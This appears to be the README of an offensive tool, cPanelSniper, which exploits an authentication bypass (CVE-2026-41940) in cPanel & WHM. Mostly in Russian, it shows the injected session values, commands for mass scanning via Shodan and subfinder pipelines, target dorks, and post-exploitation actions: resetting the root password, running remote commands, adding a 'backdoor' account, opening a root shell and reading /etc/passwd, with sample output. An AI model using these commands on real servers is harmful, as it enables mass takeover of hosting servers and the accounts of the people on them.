██████╗██████╗  █████╗ ███╗   ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗  ██║██╔════╝██║
██║     ██████╔╝███████║██╔██╗ ██║█████╗  ██║
██║     ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝  ██║
╚██████╗██║     ██║  ██║██║ ╚████║███████╗███████╗
 ╚═════╝╚═╝     ╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝╚══════╝

 ██████╗██╗   ██╗███████╗
██╔════╝██║   ██║██╔════╝
██║     ██║   ██║█████╗
██║     ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
 ╚═════╝  ╚═══╝  ╚══════╝

███████╗██╗  ██╗██████╗ ██╗      ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║     ██╔═══██╗██║╚══██╔══╝
█████╗   ╚███╔╝ ██████╔╝██║     ██║   ██║██║   ██║
██╔══╝   ██╔██╗ ██╔═══╝ ██║     ██║   ██║██║   ██║
███████╗██╔╝ ██╗██║     ███████╗╚██████╔╝██║   ██║
╚══════╝╚═╝  ╚═╝╚═╝     ╚══════╝ ╚═════╝ ╚═╝   ╚═╝

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

pip install -r requirements.txt   # опционально — только selenium

git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit

python3 test-cve.py --help

# Сканирование одной цели WHM
python3 test-cve.py -u https://target.com:2087

# Сканирование с пост-эксплуатацией: список всех аккаунтов cPanel
python3 test-cve.py -u https://target.com:2087 --action list

# Массовое сканирование из файла, 20 потоков, сохранение JSON-отчёта
python3 test-cve.py -l targets.txt -t 20 -o results.json

usage: test-cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                   [-t THREADS] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT]
                   [--action {list,passwd,cmd,exec,info,version,shell,adduser}]
                   [--passwd PASSWD] [--cmd CMD]
                   [--new-user NEW_USER] [--new-domain NEW_DOMAIN]
                   [--read-file READ_FILE] [--selenium]
                   [--engine {chrome,firefox}] [--browser] [--check-rce]
                   [-o OUTPUT] [--no-color]

# Смена пароля root после обхода
python3 test-cve.py -u https://target.com:2087 --action passwd --passwd 'P@ss2026!'

# Выполнение удалённой команды
python3 test-cve.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"

# Создание backdoor-аккаунта cPanel
python3 test-cve.py -u https://target.com:2087 \
  --action adduser --new-user backdoor --new-domain evil.com --passwd 'TempPass2026!'

# Открыть интерактивную оболочку WHM
python3 test-cve.py -u https://target.com:2087 --action shell

# Автоматический вход через Chrome
python3 test-cve.py -u https://target.com:2087 --selenium --engine chrome

# Ручной вход в браузере (выводит JS для консоли DevTools)
python3 test-cve.py -u https://target.com:2087 --browser

[email protected] ▶ help

  id / whoami / hostname / version  → информация о сервере
  ls [путь]                         → список файлов
  cat [путь]                        → чтение содержимого файла
  accounts                          → список аккаунтов cPanel
  addadmin <пользователь> <пароль>  → создать администратора/реселлера WHM
  passwd <новый пароль>             → смена пароля root
  exec <команда>                    → выполнение команды ОС
  exit / quit                       → выход из оболочки

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  user=webuser1          domain=example.com          [email protected]
  user=webuser2          domain=test.com             [email protected]

[email protected] ▶ cat /etc/passwd

[email protected] ▶ exit

python3 test-cve.py -l targets.txt -t 20 -o results.json

cat urls.txt | python3 test-cve.py

# Конвейер subfinder + httpx
subfinder -d example.com -silent | httpx -p 2087 -silent | python3 test-cve.py -t 30

# Конвейер Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | python3 test-cve.py -t 30 -o shodan_results.json

title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"WHM"
ssl:"cpanel" port:2087

{
  "scanner": "cPanelSniper v2.0",
  "cve": "CVE-2026-41940",
  "timestamp": "2026-05-23T12:00:00.000000",
  "findings": [
    {
      "severity": "CRIT",
      "title": "CVE-2026-41940 — cPanel & WHM Authentication Bypass",
      "target": "https://target.com:2087",
      "canonical": "server.target.com",
      "session": "root:SessionName",
      "token": "/cpsess1234567890",
      "version": "11.126.0.50",
      "api_url": "https://target.com:2087/cpsess1234567890/json-api/version",
      "evidence": "{\"version\":\"11.126.0.50\"...}",
      "cve": "CVE-2026-41940",
      "cvss": "10.0",
      "timestamp": "2026-05-23T12:00:05.000000"
    }
  ]
}

══════════════════════════════════════════════════════════════════════
  cPanelSniper — Сканирование CVE-2026-41940 завершено
  Время: 12.4с  ·  Целей: 50
──────────────────────────────────────────────────────────────────────

  ⚡ 2 УЯЗВИМЫХ ЦЕЛИ(ЕЙ)

  Цель    : https://victim1.com:2087
  Версия  : 11.126.0.50
  Токен   : /cpsess1234567890
  URL API : https://victim1.com:2087/cpsess1234567890/json-api/version
  Док-во  : {"version":"11.126.0.50"...}

══════════════════════════════════════════════════════════════════════

$ python3 test-cve.py -u https://target.com:2087

  Конфигурация:
   Целей    : 1
   Потоков  : 10
   Тайм-аут : 15с
   Действие : только сканирование

12:00:01 [INFO] Обнаружено каноническое имя хоста: server.target.com
12:00:02 [  OK] Этап1: предварительная сессия = root:abc123...
12:00:03 [  OK] Этап2: HTTP 307 → токен=/cpsess1234567890
12:00:04 [  OK] Этап3: HTTP 401 — механизм do_token_denied сработал
12:00:05 [INFO] Этап4: HTTP 200  {"version":"11.126.0.50"...}
12:00:05 [PWND] CVE-2026-41940 ПОДТВЕРЖДЕНА — доступ к WHM с правами root! (v11.126.0.50 — ПОДТВЕРЖДЕНА уязвимость)
12:00:05 [PWND]   Токен    : /cpsess1234567890
12:00:05 [PWND]   Сессия   : root:abc123...
12:00:05 [PWND]   Версия   : 11.126.0.50
12:00:05 [PWND]   URL API  : https://target.com:2087/cpsess1234567890/json-api/version

cpanel-cve-exploit/
├── test-cve.py        # Основной сканер и инструмент эксплуатации (один файл)
├── requirements.txt   # Опционально: selenium
├── README.md          # Документация на английском
└── README.fa.md       # Документация на персидском (فارسی)